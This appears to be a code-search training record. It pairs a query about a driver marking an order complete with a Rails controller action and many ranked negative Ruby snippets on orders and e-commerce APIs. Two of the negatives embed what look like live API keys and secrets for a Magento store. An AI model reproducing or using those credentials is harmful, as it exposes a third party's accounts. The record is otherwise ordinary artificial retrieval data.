[ "0.6323658", "0.5873915", "0.58131254", "0.5789864", "0.57825345", "0.56828517", "0.5634773", "0.5529241", "0.54923326", "0.5396034", "0.53715116", "0.53293836", "0.5292301", "0.52753055", "0.52412367", "0.5189769", "0.5189136", "0.51814663", "0.51620156", "0.5151022", "0.5144741", "0.51056546", "0.5102212", "0.5061521", "0.50564206", "0.5055561", "0.503333", "0.5032076", "0.5019857", "0.50082976", "0.500677", "0.49947295", "0.4993101", "0.496789", "0.4959438", "0.49450463", "0.49221915", "0.49135655", "0.4890032", "0.48782176", "0.48777133", "0.4875516", "0.4872794", "0.4872393", "0.48632413", "0.48614764", "0.48573223", "0.48497534", "0.48397708", "0.48393062", "0.4824806", "0.48095614", "0.48084456", "0.48080015", "0.48037273", "0.48025697", "0.47948477", "0.478725", "0.47687098", "0.47647902", "0.4764247", "0.47634047", "0.47605795", "0.47601432", "0.47587863", "0.47576505", "0.47557256", "0.4742339", "0.47412175", "0.4738326", "0.47343108", "0.47269052", "0.47254512", "0.4708591", "0.47067666", "0.47045112", "0.46953332", "0.46913812", "0.46869075", "0.46819526", "0.46599793", "0.4658166", "0.46548492", "0.46405742", "0.46405742", "0.46389645", "0.4629527", "0.46253058", "0.46206194", "0.46163958", "0.46153852", "0.4613134", "0.4581229", "0.45753694", "0.45731393", "0.45719826", "0.45576537", "0.45565382", "0.4556246", "0.4554768" ]
0.66845405
0
get/order/driver_single_orders Get all single order regardless they are manual or auto for a driver
def driver_single_orders @orders = Timeslot.joins(:orders).where(orders: { category: :single}, timeslots: {region_id: current_user.driver.region_id}) render json: @orders, status: 200 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_orders\n orders\n end", "def orders\n return [] if !is_client?\n client.orders\n end", "def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end", "def get_orders\n return ShopifyAPI::Order.all\n end", "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "def all_orders(options)\n request :account, :get, 'allOrders', options\n end", "def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end", "def pick_orders\n return Order.where(:status => 'ordered', :dropper_id => nil, :picker_id => nil) if self.pickup_boy?\n end", "def query_order(options)\n request :account, :get, 'order', options\n end", "def getOrderDetail(orderId)\n try_get(\"https://checkout.google.com/sell/multiOrder?order=#{orderId}&ordersTable=1\")\n return @agent.page.body\n end", "def invoiced_orders\n return [] if !is_client?\n client.orders\n end", "def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend", "def high_single_order\n join_users_products_orders.order(\"order_total DESC\").group(\"order_id, users.first_name, users.last_name\").limit(1)\n end", "def _wapi_order(order_type_sym, order_hash)\n response = c.soap(order_type_sym, { \n order_type_sym => { \n :_attributes => { :xmlns => 'http://wildwestdomains.com/webservices/' }\n }.update(order_hash).update(creds).update(c.class.uuid_hash) }\n )\n \n result = c.class.decode_soap(response.body)\n if result['result']['code'] == '1000'\n self.orders ||= []\n self.orders << { :user_id => result['user'], :dbpuser_id => result['dbpuser'], :orderid => result['resdata']['orderid'] }\n return self.orders.last\n else\n raise(GoDaddyResellerError.new(result['result']['msg']))\n end\n end", "def order\n @order ||= Elong::API::GHotel::Order.new(@client)\n end", "def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end", "def partial_orders\n @orders = search_reasult(params).includes(:line_items).where(\"fulflmnt_tracking_no IS NULL AND is_cancel=false\").order('order_date desc')\n @orders = Kaminari.paginate_array(@orders).page(params[:page]).per(params[:per_page] || Spree::Config[:orders_per_page])\n end", "def retrieve_order(order_id:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def order(order_id)\n Order.find(order_id)\n end", "def get_order_list(criteria = {})\n order_criteria = {}\n order_criteria[\"ins1:OrderCreationFilterBeginTimeGMT\"] = criteria[:created_from]\n order_criteria[\"ins1:OrderCreationFilterEndTimeGMT\"] = criteria[:created_to]\n order_criteria[\"ins1:StatusUpdateFilterBeginTimeGMT\"] = criteria[:updated_from]\n order_criteria[\"ins1:StatusUpdateFilterEndTimeGMT\"] = criteria[:updated_to]\n order_criteria[\"ins1:JoinDateFiltersWithOr\"] = criteria[:join_dates]\n\n if order_ids = criteria[:order_ids]\n order_criteria[\"ins1:OrderIDList\"] = {\"ins1:int\" => order_ids}\n end\n\n if client_order_ids = criteria[:client_order_ids]\n order_criteria[\"ins1:ClientOrderIdentifierList\"] = {\"ins1:string\" => client_order_ids}\n end\n\n order_criteria[\"ins1:DetailLevel\"] = criteria[:detail_level] if criteria[:detail_level]\n order_criteria[\"ins1:ExportState\"] = criteria[:export_state] if criteria[:export_state]\n order_criteria[\"ins1:OrderStateFilter\"] = criteria[:state] if criteria[:state]\n order_criteria[\"ins1:PaymentStatusFilter\"] = criteria[:payment_status] if criteria[:payment_status]\n order_criteria[\"ins1:CheckoutStatusFilter\"] = criteria[:checkout_status] if criteria[:checkout_status]\n order_criteria[\"ins1:ShippingStatusFilter\"] = criteria[:shipping_status] if criteria[:shipping_status]\n order_criteria[\"ins1:RefundStatusFilter\"] = criteria[:refund_status] if criteria[:refund_status]\n order_criteria[\"ins1:DistributionCenterCode\"] = criteria[:distribution_center] if criteria[:distribution_center]\n order_criteria[\"ins1:PageNumberFilter\"] = criteria[:page_number]\n order_criteria[\"ins1:PageSize\"] = criteria[:page_size]\n\n soap_response = client.request :get_order_list do\n soap.header = soap_header\n soap.body = {\n \"ins0:accountID\" => creds(:account_id),\n \"ins0:orderCriteria\" => order_criteria\n }\n end\n\n @last_request = client.http\n @last_response = soap_response\n end", "def orders\n Order.find_all_by_origin_code(\"smnl#{id}\")\n end", "def get_order(order_id)\n authenticated? do\n query_and_build \"marketplace/orders/#{order_id}\"\n end\n end", "def client_orders\n self.clients.map(&:orders)\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def get_order\n @order = Order.find(params[:id])\n end", "def index\n @orders = Order.where(:customer_id => params[:customer_id])\n @order = @orders.first \n end", "def my_pick_orders\n return Order.where(:status => 'ordered', :picker_id => self.id) if self.pickup_boy?\n end", "def get_orders(debtor_handle)\n response = fetch_response(:get_orders, debtor_handle)\n build_entities_from_response(\n Economic::Order,\n response[:order_handle]\n )\n end", "def orders\n authenticated_post(\"auth/r/orders\").body\n end", "def orders # return all the associated orders / reader method \n Order.all.select do |order| #select will returnn an array \n order.customer == self #condition true or false \n end \n end", "def order_list\n if org_type==\"поставщик\"\n return orders\n else\n return outgoing_orders\n end\n end", "def particular_customer_quotes\n offset = 0\n filter = \"%\"\n if (params[:offset].class.to_s != \"NilClass\" && params[:offset].integer?)\n offset = params[:offset].to_i\n end\n if (params[:filter].class.to_s != \"NilClass\")\n filter = \"%\" + params[:filter] + \"%\"\n end\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # it should be this query which is written down\n lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(idClient: params[:no]).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(\"(note like ? OR status.name LIKE ? OR dispatcher.firstName LIKE ? OR dispatcher.lastName LIKE ? OR reference LIKE ? ) AND idClient = ?\", filter, filter, filter, filter, filter, params[:no]).order('DESC').offset(offset).limit(30)\n\n # lstQuotes.each do |quote|\n # # TODO! Format each quote before send it.\n # end\n return render_json_response(lstQuotes, :ok)\n end", "def get_orders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.get_orders ...'\n end\n # resource path\n local_var_path = '/order/orders'\n\n # query parameters\n query_params = {}\n query_params[:'order_id'] = opts[:'order_id'] if !opts[:'order_id'].nil?\n query_params[:'payment_method'] = opts[:'payment_method'] if !opts[:'payment_method'].nil?\n query_params[:'company'] = opts[:'company'] if !opts[:'company'].nil?\n query_params[:'first_name'] = opts[:'first_name'] if !opts[:'first_name'].nil?\n query_params[:'last_name'] = opts[:'last_name'] if !opts[:'last_name'].nil?\n query_params[:'city'] = opts[:'city'] if !opts[:'city'].nil?\n query_params[:'state_region'] = opts[:'state_region'] if !opts[:'state_region'].nil?\n query_params[:'postal_code'] = opts[:'postal_code'] if !opts[:'postal_code'].nil?\n query_params[:'country_code'] = opts[:'country_code'] if !opts[:'country_code'].nil?\n query_params[:'phone'] = opts[:'phone'] if !opts[:'phone'].nil?\n query_params[:'email'] = opts[:'email'] if !opts[:'email'].nil?\n query_params[:'cc_email'] = opts[:'cc_email'] if !opts[:'cc_email'].nil?\n query_params[:'total'] = opts[:'total'] if !opts[:'total'].nil?\n query_params[:'screen_branding_theme_code'] = opts[:'screen_branding_theme_code'] if !opts[:'screen_branding_theme_code'].nil?\n query_params[:'storefront_host_name'] = opts[:'storefront_host_name'] if !opts[:'storefront_host_name'].nil?\n query_params[:'creation_date_begin'] = opts[:'creation_date_begin'] if !opts[:'creation_date_begin'].nil?\n query_params[:'creation_date_end'] = opts[:'creation_date_end'] if !opts[:'creation_date_end'].nil?\n query_params[:'payment_date_begin'] = opts[:'payment_date_begin'] if !opts[:'payment_date_begin'].nil?\n query_params[:'payment_date_end'] = opts[:'payment_date_end'] if !opts[:'payment_date_end'].nil?\n query_params[:'shipment_date_begin'] = opts[:'shipment_date_begin'] if !opts[:'shipment_date_begin'].nil?\n query_params[:'shipment_date_end'] = opts[:'shipment_date_end'] if !opts[:'shipment_date_end'].nil?\n query_params[:'rma'] = opts[:'rma'] if !opts[:'rma'].nil?\n query_params[:'purchase_order_number'] = opts[:'purchase_order_number'] if !opts[:'purchase_order_number'].nil?\n query_params[:'item_id'] = opts[:'item_id'] if !opts[:'item_id'].nil?\n query_params[:'current_stage'] = opts[:'current_stage'] if !opts[:'current_stage'].nil?\n query_params[:'channel_partner_code'] = opts[:'channel_partner_code'] if !opts[:'channel_partner_code'].nil?\n query_params[:'channel_partner_order_id'] = opts[:'channel_partner_order_id'] if !opts[:'channel_partner_order_id'].nil?\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OrdersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#get_orders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def monitor_orders()\r\n\t\topen = $future_rest.open_orders symbol: 'BTCUSDT'\r\n\t\t# all orders\r\n\t\tall = $future_rest.all_orders symbol: 'BTCUSDT'\r\n\tend", "def get_customer_order\n begin\n db = SQLite3::Database.open(ENV[\"BANGAZON\"])\n array_of_orders = db.execute(\"SELECT customers.id 'Customer Number', customers.last_name 'Last Name', customers.first_name 'First Name', orders.id 'Order Number', products.product_title 'Product', products.product_price 'Price'\n FROM orders, customers, order_products, products\n\n WHERE orders.customer_id = ?\n AND orders.id = ?\n AND order_products.product_id = products.id\", [@customer_id, @id])\n db.close\n end\n array_of_orders\n end", "def orders(params = {})\n get('/market/orders', params)\n .map { |data| build_persisted_order data }\n end", "def order\n @order ||= Glysellin::Order.where(id: order_id).first\n end", "def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end", "def show\n @orders = @client.orders.where(is_validate:true)\n end", "def orders\n authenticated_post(\"orders\").body\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def perform\n Magento2::Api.configure('dz4xnhhgfsfuyj00g6bkel0jq6mwdak2', 'hhjnlf59qh2m7an9sdpfcu0o9nox78y6', 'ie5iafduhqs1dydynidsjki582oti17w', 'mva5hldj17elic6muxmf53fq7zmm7xl5', \"https://mall2door.net\")\n orders = Magento2::Api.get(\"/rest/en/V1/orders\", {searchCriteria: 'all'})\n all_orders = orders[:items]\n all_orders.each do |order|\n order_id = order[:increment_id]\n store = order[:store_id]\n if store === 1 && order_id > \"000000047\" && order_id != \"7000000001\"\n n_perform order,order_id, store\n elsif store === 6 && order_id > \"6000000075\" && order_id != \"7000000001\"\n n_perform order,order_id, store\n end\n\n end\n end", "def orders(id, orderid = nil)\n get(\"/accounts/#{id}/orders#{orderid ? \"/#{orderid}\" : ''}\")['orders']\n end", "def order(order, options = {})\n id = epages_id(order)\n perform_get_with_object(\"/orders/#{id}\", options, Epages::Order)\n end", "def listOrders()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n ret = []\n Order.find_each do |order|\n ret << {id: order.id, product_id: order.product_id, product_name: Product.find(order.product_id).name, user_id: order.user_id, quantity: order.quantity, price_per_unit: order.price_per_unit, int_status: order.order_status}\n end\n render json: {data: ret.to_json, reason: '', status: true}\n end", "def get(order_id)\n get_request(t_url(:order, order_id))\n end", "def get_order(order_id)\n res = request('get', \"https://#{orders_path}/#{order_id}\")\n parse_response res\n end", "def test_order\n @@test_orders[self] || AVAILABLE_ORDERS.first\n end", "def orders\n Reggora::Resources::Order.new(config)\n end", "def all(params = {})\n response, status = BeyondApi::Request.get(@session, \"/order-settings\")\n\n handle_response(response, status)\n end", "def show\n @order = Order.includes([:customer,:order_details => :product]).find(params[:id])\n \n if [email protected]?\n @order_detail = @order.order_details.new\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order }\n end\n end", "def find_order\n @order = Order.find(params[:id])\n end", "def customer\n @orders = Spree::Order.where(user_id: current_spree_user.id, state: 'complete').where.not(shipment_state: 'shipped', state: 'returned').order(created_at: :desc)\n end", "def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend", "def show_orders\n @user = User.find_by_sql [\"select * from users where email = ? and users.status = 'admin'\", params[:email]]\n if @user.count != 0\n @orders = UsersOrder.find_by_sql [\"select users_orders.id, users.email, books.title, books.genre from users_orders\n LEFT JOIN users ON users_orders.user_id = users.id\n LEFT JOIN books ON users_orders.book_id = books.id where users_orders.status = ? ORDER BY users_orders.created_at ASC\", params[:status]]\n end\n render json: @orders\n end", "def perform\n Magento2::Api.configure('dz4xnhhgfsfuyj00g6bkel0jq6mwdak2', 'hhjnlf59qh2m7an9sdpfcu0o9nox78y6', 'ie5iafduhqs1dydynidsjki582oti17w', 'mva5hldj17elic6muxmf53fq7zmm7xl5', \"https://mall2door.net\")\n orders = Magento2::Api.get(\"/rest/en/V1/orders\", {searchCriteria: 'all' })\n all_orders = orders[:items]\n all_orders.each do |order|\n unless order[:status].present?\n order_id = order[:increment_id]\n id = order[:entity_id]\n status = order[:state]\n params = {\n entity_id: id,\n increment_id: order_id,\n status: status,\n }\n if status\n Magento2::Api.put(\"/rest/en/V1/orders/create\", {entity: params})\n end\n end\n end\n end", "def check_order\n order.each { |e| e[0].capitalize.constantize.price }\n end", "def getOrder(id)\n @orders.find {|ord| ord.orderId.to_i == id.to_i}\n end", "def get_order(account_number, order_id)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/orders/{order_id}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'order_id' => order_id\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def index\n @order=params[:order].to_i\n if @order==1\n @quotes=Quote.order(title: :asc).all\n elsif @order==2\n @quotes=Quote.order(title: :desc).all\n elsif @order==3\n @quotes=Quote.joins(\"left join clients on quotes.client_id = clients.id\").order(\"clients.last_name ASC\")\n elsif @order==4\n @quotes=Quote.joins(\"left join clients on quotes.client_id = clients.id\").order(\"clients.last_name DESC\")\n elsif @order==5\n @quotes=Quote.order(total: :asc).all\n elsif @order==6\n @quotes=Quote.order(total: :desc).all\n elsif @order==7\n @quotes=Quote.order(created_at: :desc).all\n elsif @order==8\n @quotes=Quote.order(created_at: :asc).all\n elsif @order==9\n @quotes=Quote.order(status: :desc).all\n elsif @order==10\n @quotes=Quote.order(status: :asc).all\n\n else\n @quotes = Quote.all\n end\n end", "def return_all_drivers\n return @trips.map{ |trip| trip.driver }\n end", "def orders\n Spree::Order.with_address(self)\n end", "def auto_dispute_order_details\n nil\n end", "def get_order(*amazon_order_ids)\n operation('GetOrder')\n .add('AmazonOrderId' => amazon_order_ids)\n .structure!('AmazonOrderId', 'Id')\n\n run\n end", "def order_list\n $tracer.trace(__method__)\n return GameStopOrderList.new(ToolTag.new(table.id(create_ats_regex_string(\"/ordersTable/\")).find.a.id(create_ats_regex_string(\"/lnkOrderDetail/\")), __method__))\n end", "def orders\n Order.where(:email => self.email)\n end", "def orders(options = {})\n perform_get_with_key_and_objects('/orders', options, :items, Epages::Order)\n end", "def batch_retrieve_orders(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/orders/batch-retrieve',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def get_order_item(id, options = nil)\r\n @client.raw('get', \"/ecommerce/order-items/#{id}\", options, nil, @contact_v1_url)\r\n end", "def request_orders\n @player.request_orders\n end", "def list_orders(code)\n PsegRecurring::Order.new(@credentials).fetch_orders(code)\n end", "def tracking_orders\n return [] if !is_employee?\n employee.orders\n end", "def status\n if params[:reference]\n @orders = Order.where([\"reference = ?\", params[:reference]])\n elsif params[:client_name]\n @orders = Order.where([\"client_name = ?\", params[:client_name].downcase])\n @orders = @orders.page(params[:page] || 1).per(params[:per_page] || 10)\n else\n render json: {error: \"bad parameters\"}, status: :bad_request\n return\n end\n render json: @orders, status: :ok\n end", "def searchByOrder\n \torderId = params['id']\n\t order = Order.where(id: orderId)\n\t render json: order, status: 200\n\tend", "def index\n #@keyclientorders = Keyclientorder.all\n @keyclientorders_grid = initialize_grid(@keyclientorders,\n :conditions => ['order_type <> ?',\"b2b\"],\n :order => 'keyclientorders.created_at',\n :order_direction => 'desc',\n include: [:business, :storage, :unit])\n end", "def get_order_lines\n current_order = @order_lines.get_order_lines_by_order_id(@order_status)\n return current_order\n end", "def index\n @orders = if params[:order_id].present?\n Order.where(order_id: params[:order_id]).paginate(:page => 1, per_page: 1)\n else\n Order.paginate(:page => params[:page], per_page: 5)\n end\n end", "def find_all(options = {})\n @order_by = options[:order_by]\n @select = options[:select] ||= ['*']\n response = get(uri([:order, :select]))\n response.results if response\n end", "def find_all(options = {})\n @order_by = options[:order_by]\n @select = options[:select] ||= ['*']\n response = get(uri([:order, :select]))\n response.results if response\n end", "def getorder(uuid)\n res = sget(\"/getorder\", {uuid: uuid})\n ::BittrexRb::Response::Account.new(res)\n end", "def index\n @ecom_orders = EcomOrder.all\n end", "def order_multi ()\n raise Exception, 'not implemented'\n end", "def find_one_by(opts = {})\n list_all_products(opts)[0]\n end", "def get_drivers\n return return_all_drivers\n end", "def to_store_orders\n Order.where(:status => 'picked')\n end", "def get_orders\n if params['order_by'].nil?\n return nil\n else\n @orderer = {params['order_by'] => params['asc']}\n orders = params['order_by']\n if !params['asc']\n orders = orders + \" desc\"\n end\n return orders\n end\n end", "def selecting?(one_lead)\n orders.find_by_selected_id(one_lead.id)\n end", "def trip_get_driver(driver_id)\n RideShare::Driver.find(driver_id)\n end", "def test_orders_auth \n c = customers(:bob)\n assert_equal(orders(:bob_order), c.find_order(1))\n assert_nil(c.find_order(2))\n assert_nil(c.find_order(100000))\n end", "def index\n @service_orders = ServiceOrder.all\n end", "def index\n @orders = current_user.orders\n .where(status: [Order.statuses[:initiated], Order.statuses[:deleted]])\n .includes(:items, :supplier)\n .order(id: :desc)\n .page(params[:page])\n .per(params[:per])\n end", "def orders\r\n @orders ||= OrdersController.new(configuration: @configuration)\r\n end", "def make_api_call_for_getting_order(order_id, access_token)\n url = ENV['NINJAVAN_URL_FOR_GETTING_ORDER'] + order_id\n RestClient.get(url, Authorization: \"Bearer #{access_token}\")\n end", "def show\n if @order\n respond_to do |format|\n format.html { @order }\n format.json { render json: @order.to_json(include: [:status, :package, :discount]) }\n end\n else\n redirect_to orders_path, notice: \"Order ID not found for that client.\"\n end\n end", "def show\n\t\t@admin_order = Admin::Order.find(params[:id])\n\t\t@admin_client = @admin_order.client\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @admin_order }\n\t\tend\n\tend", "def order\n Spree::Order.find(@attributes[:order_id].to_i)\n end", "def open_orders(options)\n request :account, :get, 'openOrders', options\n end", "def simple_current_order\n @order ||= Spree::Order.find_by(id: session[:order_id], currency: current_currency)\n end", "def index\n @allorders = Allorder.all\n end", "def driver_recurring_orders\n @orders = Timeslot.joins(:orders).where(orders: { category: :recurring}, timeslots: {region_id: current_user.driver.region_id})\n render json: @orders, status: 200\n end" ]
[ "0.599514", "0.5944234", "0.58264637", "0.5820596", "0.57453036", "0.5741173", "0.57253313", "0.570094", "0.56805474", "0.5624305", "0.5595843", "0.5519352", "0.5471493", "0.5464744", "0.5426373", "0.5423127", "0.54051054", "0.5386229", "0.5369818", "0.5352874", "0.5347232", "0.5291574", "0.5290049", "0.52791435", "0.52791435", "0.5261903", "0.525392", "0.5246043", "0.5242276", "0.5235885", "0.5209358", "0.51997226", "0.5196886", "0.5183473", "0.5179784", "0.51726395", "0.51502097", "0.51451546", "0.5135735", "0.5127407", "0.51113945", "0.51009685", "0.5092024", "0.509", "0.50869316", "0.5077954", "0.50571465", "0.5038766", "0.5032397", "0.5032229", "0.50255513", "0.50147265", "0.50085175", "0.49948087", "0.49930012", "0.49873927", "0.49857056", "0.4978446", "0.4977585", "0.49720436", "0.4965383", "0.49553365", "0.49506965", "0.49430153", "0.49412575", "0.49409562", "0.49363202", "0.4933377", "0.49305925", "0.49304807", "0.4926125", "0.49199787", "0.49182364", "0.4913901", "0.49096882", "0.4908782", "0.4908705", "0.4908485", "0.4908485", "0.48949778", "0.48912463", "0.48871118", "0.48862147", "0.48828343", "0.48821458", "0.48796955", "0.48740232", "0.48726556", "0.48671746", "0.48654455", "0.4862561", "0.48594064", "0.48547494", "0.48490754", "0.48355752", "0.48302034", "0.48243117", "0.4814905", "0.48145604", "0.48140666" ]
0.6335111
0
put/order/1 Mark a order as complete by driver
def mark_order_complete order_params = (driver_order_params) order_params[:payable_attributes][:driver_id] = current_user.customer_id if @order.single? if( (Time.now >= Time.parse(@order.place_date + ' ' + @order.timeslot.start) || true) && (@order.pending? ) && @order.update(order_params) ) render json: @order, status: 200 else render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity end else if(@order.update(order_params)) render json: @order, status: 200 else render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def mark_complete\n ActiveRecord::Base.transaction do\n find_order\n separate_shipment_costs\n assert_refund_adjustments params['refund_items'], true\n @order.update!\n end\n settle_payments_if_desired\n render text: @settlement_results.to_json\n end", "def order_complete\n load_order\n if @order.state == 'canceled'\n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n @order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end", "def order_complete\n load_order\n if @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \[email protected]_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end", "def complete_order\n @queue.dequeue\n end", "def set_as_complete\n mark_as_complete_and_save\n end", "def order_complete\n load_order\n if @order.state == 'canceled' \n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \[email protected]_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end", "def mark_complete\n self.complete = true\n self.save\n end", "def complete_order\n # Get the current user's last order (i.e. the current order)\n @order = @current_user.orders.last\n\n # Invoke an action in order.rb that 'moves' items from a user's cart to the current order\n @order.add_line_items_from_cart @cart\n\n # Invoke action in order.rb that updates stock levels\n @order.update_inventory\n\n # Destroy the user's cart\n @cart.destroy\n\n # Set a flash notification that the order was successful\n flash[:notification] = \"Order successful!!!\"\n\n # Redirect to orders#show\n redirect_to order_path(@order)\n end", "def complete_order_service\n\n order_service = OrderService.find(params[:order_service_id])\n order_service.completed = true\n order_service.save\n\n completed = true\n order_service.order.order_services.each do |order_service|\n if !order_service.completed\n completed = false\n end\n end\n if completed\n order_service.order.status = true\n order_service.order.save\n end\n \n redirect_to order_path(order_service.order.id)\n end", "def mark_as_complete_and_save\n self.complete = true\n save\n end", "def mark_as_complete(options)\n self.is_complete = options[:is_complete]\n self.is_applicable = true # if item.is_complete\n self.save_with_validation(false)\n end", "def complete!\n self.completed = true\n self.completed_at = Time.now.utc\n save! # TODO: With a bang?\n end", "def finish\n @order.finish\n render_update @order\n end", "def after_save_new_order\n end", "def orders\n super.complete.order('completed_at DESC, id DESC')\n end", "def processOrder\n \n end", "def complete\n @order = Order.find(params[:id])\n @order.update_attributes(:fulfilled => Time.now)\n\n respond_to do |format|\n if @order.update_attributes(:fulfilled => Time.now)\n format.html { redirect_to @order, notice: 'Order was successfully completed.' }\n format.json { render json: @order, status: :updated }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def complete!\n self.status = 'completed'\n self.save\n end", "def set_to_ordered\n self.status = \"ordered\"\n self.save\n end", "def complete_order_step(order, order_step)\n original_state = order.state\n order.state = order_step\n\n if !order.next\n order.state = original_state\n order.save(validate: false) # store data from paypal. user will be redirect to 'personal' tab\n end\n end", "def mark_complete(db, complete, name)\n\tcomplete = \"complete\"\n\tdb.execute(\"UPDATE upper_body SET complete=? WHERE name=?\", [complete, name])\n\tdb.execute(\"UPDATE lower_body SET complete=? WHERE name=?\", [complete, name])\n\tputs \"set #{name} to complete\"\nend", "def complete!\n self.is_completed = true\n self.save\n end", "def after_complete\n session[:order_id] = nil\n end", "def after_complete\n session[:order_id] = nil\n end", "def after_complete\n session[:order_id] = nil\n end", "def complete!\n # this should change the boolean to true\n self.complete = true\n self.save!\n end", "def mark_as_delivered(employee)\n order_id = @view.ask_order_id\n # 3. Fetch task from repo\n orders = @order_repository.undelivered_orders\n my_order = orders.find { |order| order.employee.id == employee.id && order.id == order_id }\n # 4. Mark task as done\n my_order.deliver!\n @order_repository.save_to_csv\n end", "def place_and_complete_kfs_item_order(ordered_by, facility, account = nil, reviewed = false)\n @facility_account = FactoryBot.create(:kfs_facility_account, facility: facility)\n @item = facility.items.create(FactoryBot.attributes_for(:item, facility_account_id: @facility_account.id))\n place_product_order(ordered_by, facility, @item, account)\n\n # act like the parent order is valid\n @order.state = \"validated\"\n\n # purchase it\n @order.purchase!\n\n @order_detail.change_status!(OrderStatus.complete)\n\n od_attrs = {\n actual_cost: 20,\n actual_subsidy: 10,\n price_policy_id: @item_pp.id,\n }\n\n od_attrs[:reviewed_at] 